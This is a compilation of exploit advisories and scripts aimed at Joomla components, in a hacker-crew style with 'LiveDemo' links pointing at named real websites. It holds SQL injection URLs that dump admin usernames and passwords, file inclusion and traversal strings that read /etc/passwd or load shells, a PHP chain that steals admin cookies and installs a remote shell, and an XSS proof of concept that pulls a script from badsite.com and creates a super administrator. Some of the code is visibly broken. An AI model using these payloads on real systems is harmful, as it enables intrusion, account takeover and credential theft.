#############################################################################
#							                    #
#            Joomla Component MailTo SQL Injection Vulnerability            #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "MailTo (com_mailto)" 
[~] Date:           "April 2006"

########################################

[~] Exploit /index.php?option=com_mailto&tmpl=mailto&article=[SQL]&Itemid=1
[~] Example /index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)KHG+from+jos_users--&Itemid=1

########################################

[~] LiveDemo: http://www.itp.net/index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)KHG+from+jos_users--&Itemid=1

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

#############################################################################
#							                    #
#           Joomla Component MaianMusic SQL Injection Vulnerability         #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "MaianMusic (com_maianmusic)"
[~] Version:        "1.2.1" 
[~] Date:           "09-26-2008"
[~] Author:         "Arelowo Alao & David Bennett"
[~] Author E-mail:  "Alao@aretimes.com"
[~] Author URL:     "www.aretimes.com"

########################################

[~] Exploit: /index.php?option=com_maianmusic&section=category&category=[SQL]&Itemid=70
[~] Example: /index.php?option=com_maianmusic&section=category&category=-1+union+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--&Itemid=70

########################################

[~] LiveDemo: http://musicsunderground.com/index.php?option=com_maianmusic&section=category&category=-1+union+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--&Itemid=70&lang=en

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

#############################################################################
#							                    #
#     Joomla Component Cmimarketplace Directory Traversal Vulnerability     #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Cmimarketplace (com_cmimarketplace)"  
[~] Date:          "August 2008"
[~] Author:        "Magnetic Merchandising Inc."
[~] E-mail:        "client@ijobid.com"
[~] Author URL:    "www.ijobid.com"

########################################

[~] Exploit: /index.php?option=com_cmimarketplace&Itemid=70&viewit=[Directory]&cid=1

[~] Example: /index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../&cid=1

########################################

[~] Live Demo: http://democmi.ijobid.com/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../&cid=1

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

<?php
// Удаление произвольных изображений в каталоге Joomla
// by [underwater] 
$WEB_VULNERABLE = 'http://www.site.com/';
if(!$archive = obt_archive($WEB_VULNERABLE.'images/')){
 echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; 
 ob_get_contents();
 sleep(5); 
}
if($archive= obt_archive($WEB_VULNERABLE.'images/')){
 foreach($archivos as $valor){
 if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
 echo '<iframe src="'.
 $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
 .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
 .'" width="1" height="1" frameborder="0"></iframe>'; 
 }
}
function obt_archive($url){
 $buffer = explode(']"> <a href="', file_get_contents($url));
 foreach($buffer as $item=> $valor){
  if($item != '0'){ 
   $temp = explode('"', $valor);
   $retorn[count($retorno)] = $temp[0];
  }
 }
 return $retorn;
}
?>

http://127.0.0.1/joomla/index.php?searchword=%253c%2553%2543%2572%2549%2570%2554%2520%2578%253d%2578%253e%2561%256c%2565%2572%2574%2528%2530%2530%2530%2530%2530%2529%253c%252f%2573%2543%2572%2549%2570%2554%253e&ordering=newest&searchphrase=all&option=com_search

<?php
error_reporting(0);
 
$EXPL['SITE_VULNERABLE'] = 'http://127.0.0.1/joomla/'; 
$EXPL['URL_COM_SHELL'] = 'http://127.0.01/shell'; // Путь к шеллу
 
$EXPL['XSS'] = '<script '.
'src="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=js" ></script>';
 
if($_GET['act'] == 'js'){
 die('
 
 var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 function base64_encode(input){
  var output = "";
  var chr1, chr2, chr3;
  var enc1, enc2, enc3, enc4;
  var i = 0;
  do{
   chr1 = input.charCodeAt(i++);
   chr2 = input.charCodeAt(i++);
   chr3 = input.charCodeAt(i++);
   enc1 = chr1 >> 2;
   enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
   enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
   enc4 = chr3 & 63;
   if(isNaN(chr2)){
    enc3 = enc4 = 64;
   }else if(isNaN(chr3)){
    enc4 = 64;
   }
   output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
  }while(i < input.length);
  return output;
 }
window.location.href="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=galletas&sabor=" + base64_encode(document.cookie);
');
 
}elseif($_GET['act'] == 'gall'){
 if(!$cookies = base64_decode($_GET['sabor'])) die('<strong>Нет печенья(</strong>');
 $buffer = http_get($EXPL['SITE_VULNERABLE'].'/administrator/index.php?option=com_installer', $cookies);
 $buscar = expl('hidden" name="', $buffer);
 foreach($buscar as $encont){
  $encont = expl('"', $encont);
  $encont = $encont[0];
  if(strlen($encont) == 32){
   $hash = $encont;
   break;
  }
 }
 $buffer = http_post(
  $EXPL['SITE_VULNERABLE'].'/administrator/index.php', $cookies, 
  $hash.'=1&install_url='.urlencode($EXPL['URL_COM_SHELL']).'&installtype=url&task=doInstall&option=com_installer&'
 );
 if(eregi('200 OK', http_get($EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'))){
/ / Операция выполнена успешно! шелл /modules/mod_artimesk/mod_artimesk.php
  header('UnderWhat?!');
  $explot = true;
 }else{
  $explot = false;
 }
 if($archiv_handle = fopen('log_('.date('Y.m.d.H.i.s').')_.txt', 'x')){
  if($explot){
   fwrite($archiv_handle, 'Шелл успешно загружен'. URL: '.$EXPL['SITE_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'."\x0D\x0A");
   header('location: https://forum.antichat.ru');
  }else{
   fwrite($archiv_handle, 
.$EXPL['SITIO_VULNERABLE'].' Експлоит не может быть использован, так как не совместима версия, или у вас нету админ прав.'."\x0D\x0A");
  }
  fclose($archiv_handle);
 }
 exit($explot);
}
 
// Выполнение произвольного кода яваскрипт
$pedir = $EXPL['SITЕ_VULNERABLE'].'/index.php?searchword='.urlencode(urlencode($EXPL['XSS'])).'&ordering=&searchphrase=all&option=com_search';
if(http_get($pedir, 'null[]=token')){
 header('location: '.$EXPL['SITIO_VULNERABLE'].'administrator/index.php?option=com_search');
}else{
 die('hola :-s');
}
 
function http_post($url, $cookies, $postdata){
 $timeout = 100;
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_POST, true);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
 curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
 curl_setopt($ch, CURLOPT_HEADER, true);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
 curl_setopt($ch, CURLOPT_COOKIE, $cookies);
 $conten = curl_exec($ch);
 $error = curl_error($ch);
 curl_close($ch);
 if($conten)
  return $conten;
 else
   return $error;
}
 
function http_get($url, $cookies){
 $timeout = 100;
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_POST, false);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
 curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
 curl_setopt($ch, CURLOPT_HEADER, true);
 curl_setopt($ch, CURLOPT_COOKIE, $cookies); 
 $conten = curl_exec($ch);
 $error = curl_error($ch);
 curl_close($ch);
 if($conten)
  return $conten;
 else
   return $error;
}
 
?>

/*
RSMonials XSS Exploit

http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component

Google Dork: allinurl:option=com_rsmonials

Anything entered into the form gets rendered as HTML, so you can add tags
as long as they don't include quotes (magic quotes eats them, if it's on).
This component ships with settings that prevent posting by default, but 
the administrator page for the testimonials renders your script in its entirety.

Proof of Concept 1: Remote file upload

Visit http://target.com/index.php?option=com_rsmonials and post a comment.
At the end of your glowing comment about how awesome the site is, attach this:

<script src=http://badsite.com/evil.js></script>

Now, when your admin goes to the com_rsmonials "Testimonials" page, your 
script will execute. In this example, a hidden iframe loads up the install
page and installs a 'custom' module.

*/

var exploited = false;
var iframe = document.createElement( 'iframe' );
var reg = new RegExp( 'administrator' );
if( reg.test( location.href ) )
{
	iframe.src = 'index.php?option=com_installer';
	iframe.setStyle( 'display', 'none' );
	document.body.appendChild( iframe );
	iframe.addEvent( 'load', exploit );
}
function exploit( e )
{
	if( exploited != true )
	{
		var doc = e.target.contentDocument; if( !doc ) return;
		var inp = doc.getElementById( 'install_url' );
		inp.value = 'http://badsite.com/exploit.zip';
		var b = inp.parentNode.getElementsByTagName( 'input' )[1];
		b.onclick();
		exploited = true;
	}
}

/*

Proof of Concept 2: New Super Administrator

Here's a drop-in replacement for the 'exploit' function above:

function exploit( e )
{
	if( exploited != true )
	{
		var newForm = false;
		var doc = e.target.contentDocument; if( !doc ) return;
		var nb = doc.getElementsByTagName( 'a' ); if( !nb ) return;
		var i = 0;
		for( ; i<nb.length; i++ )
		{
			if( nb[i].parentNode.id == 'toolbar-new' )
			{
				nb[i].onclick();
			}
			else if( nb[i].parentNode.id == 'toolbar-save' )
			{
				doc.getElementById( 'name' ).value = 'hacked';
				doc.getElementById( 'username' ).value = 'hacked';
				doc.getElementById( 'email' ).value = 'your@freemail.com';
				doc.getElementById( 'password' ).value = 'password';
				doc.getElementById( 'password2' ).value = 'password';
				var g = doc.getElementById( 'gid' );
				g.selectedIndex = g.options.length - 1;
				nb[i].onclick();
				exploited = true;
			}
		}
	}
}

If the admin is a Super Admin, then you could be too... just remember to watch
your freemail account for Joomla's account notification!

*/
/* jdc 2009 */

# milw0rm.com [2009-04-22]

number" onclick="document.location='http://www.site.com/?cookies.php?cookies='+document.cookie" x="

require_once($GLOBALS['mosConfig_absolute_path']. '/administrator/components/com_clickheat/Recly_Config.php');

http://site.com/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=..../../../../../../../etc/passwd%00

require_once( $mosConfig_absolute_path . '/components/Recly/Clickheat/Clickheat_Heatmap.php' );

http://site.com/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=../../../../../../../etc/passwd%00

require_once( $mosConfig_absolute_path . '/components/Recly/Clickheat/Clickheat_Overview.php' );

http://site.com/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=../../../../../../../etc/passwd%00

require_once( $GLOBALS['mosConfig_absolute_path'] . '/components/Recly/common/Logger.php');

http://site.com/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=../../../../../../../etc/passwd%00

require_once( $GLOBALS['mosConfig_absolute_path'] . '/components/Recly/common/Logger.php');

http://site.com/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=../../../../../../../etc/passwd%00

require_once($GLOBALS['mosConfig_absolute_path'].'/components/Recly/common/String.php');

http://site.com/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=../../../../../../../etc/passwd%00

[path]/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=*shell

http://localHost/path/index.php?option=com_juser&task=show_profile&id=70[SQL code]

+and+1=2+union+select+1,2,concat(username,0x3a,password)chipdebi0s,4,5,6,7,8,9,10,11,12,13+from+jos_users--

http://demo.joomlaequipment.com/index.php?option=com_juser&task=show_profile&id=70+and+1=2+union+select+1,2,concat(username,0x3a,password)chipdebi0s,4,5,6,7,8,9,10,11,12,13+from+jos_users--

/com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=shell?